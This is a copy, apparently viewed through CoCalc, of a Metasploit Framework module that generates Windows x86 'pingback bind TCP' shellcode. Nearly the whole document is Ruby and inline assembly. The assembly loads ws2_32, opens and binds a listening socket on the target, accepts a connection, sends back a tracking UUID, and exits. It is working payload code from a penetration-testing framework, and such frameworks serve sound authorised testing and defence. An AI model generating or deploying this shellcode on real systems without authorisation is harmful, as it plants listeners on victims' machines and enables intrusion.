Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/windows/pingback_bind_tcp.rb
19664 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 314
8
9
include Msf::Payload::Windows
10
include Msf::Payload::Single
11
include Msf::Payload::Pingback
12
include Msf::Payload::Windows::BlockApi
13
include Msf::Payload::Pingback::Options
14
include Msf::Payload::Windows::Exitfunk
15
16
def initialize(info = {})
17
super(
18
merge_info(
19
info,
20
'Name' => 'Windows x86 Pingback, Bind TCP Inline',
21
'Description' => 'Open a socket and report UUID when a connection is received (Windows x86)',
22
'Author' => [ 'bwatters-r7' ],
23
'License' => MSF_LICENSE,
24
'Platform' => 'win',
25
'Arch' => ARCH_X86,
26
'Handler' => Msf::Handler::BindTcp,
27
'Session' => Msf::Sessions::Pingback
28
)
29
)
30
end
31
32
def required_space
33
# Start with our cached default generated size
34
space = cached_size
35
36
# EXITFUNK 'seh' is the worst case, that adds 15 bytes
37
space += 15
38
39
space
40
end
41
42
def generate(_opts = {})
43
encoded_port = [datastore['LPORT'].to_i, 2].pack('vn').unpack('N').first
44
encoded_host = Rex::Socket.addr_aton(datastore['LHOST'] || '127.127.127.127').unpack('V').first
45
[encoded_host, encoded_port]
46
self.pingback_uuid ||= generate_pingback_uuid
47
uuid_as_db = '0x' + self.pingback_uuid.chars.each_slice(2).map(&:join).join(',0x')
48
conf = { exitfunk: datastore['EXITFUNC'] }
49
addr_fam = 2
50
sockaddr_size = 16
51
52
asm = %^
53
cld ; Clear the direction flag.
54
call start ; Call start, this pushes the address of 'api_call' onto the stack.
55
#{asm_block_api}
56
start:
57
pop ebp
58
; Input: EBP must be the address of 'api_call'.
59
; Output: EDI will be the newly connected clients socket
60
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
61
62
bind_tcp:
63
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
64
push 0x5F327377 ; ...
65
push esp ; Push a pointer to the "ws2_32" string on the stack.
66
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
67
call ebp ; LoadLibraryA( "ws2_32" )
68
69
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
70
sub esp, eax ; alloc some space for the WSAData structure
71
push esp ; push a pointer to this struct
72
push eax ; push the wVersionRequested parameter
73
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
74
call ebp ; WSAStartup( 0x0190, &WSAData );
75
76
push 11
77
pop ecx
78
push_0_loop:
79
push eax ; if we succeed, eax will be zero, push it enough times
80
; to cater for both IPv4 and IPv6
81
loop push_0_loop
82
83
; push zero for the flags param [8]
84
; push null for reserved parameter [7]
85
; we do not specify a WSAPROTOCOL_INFO structure [6]
86
; we do not specify a protocol [5]
87
push 1 ; push SOCK_STREAM
88
push #{addr_fam} ; push AF_INET/6
89
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
90
call ebp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 );
91
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
92
93
; bind to 0.0.0.0/[::], pushed earlier
94
95
push #{encoded_port} ; family AF_INET and port number
96
mov esi, esp ; save a pointer to sockaddr_in struct
97
push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)
98
push esi ; pointer to the sockaddr_in struct
99
push edi ; socket
100
push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
101
call ebp ; bind( s, &sockaddr_in, 16 );
102
test eax,eax ; non-zero means a failure
103
jnz failure
104
; backlog, pushed earlier [3]
105
push edi ; socket
106
push #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')}
107
call ebp ; listen( s, 0 );
108
109
; we set length for the sockaddr struct to zero, pushed earlier [2]
110
; we dont set the optional sockaddr param, pushed earlier [1]
111
push edi ; listening socket
112
push #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')}
113
call ebp ; accept( s, 0, 0 );
114
115
push edi ; push the listening socket
116
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
117
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
118
call ebp ; closesocket( s );
119
120
send_pingback:
121
push 0 ; flags
122
push #{uuid_as_db.split(',').length} ; length of the PINGBACK UUID
123
call get_pingback_address ; put pingback_uuid buffer on the stack
124
db #{uuid_as_db} ; PINGBACK_UUID
125
get_pingback_address:
126
push edi ; saved socket
127
push #{Rex::Text.block_api_hash('ws2_32.dll', 'send')}
128
call ebp ; call send
129
130
push edi ; push the listening socket
131
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
132
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
133
call ebp ; closesocket( s );
134
135
handle_connect_failure:
136
; decrement our attempt count and try again
137
dec dword [esi+8]
138
jnz failure
139
140
cleanup_socket:
141
; clear up the socket
142
push edi ; socket handle
143
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
144
call ebp ; closesocket(socket)
145
146
failure:
147
^
148
if conf[:exitfunk]
149
asm << asm_exitfunk(conf)
150
end
151
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
152
end
153
end
154
155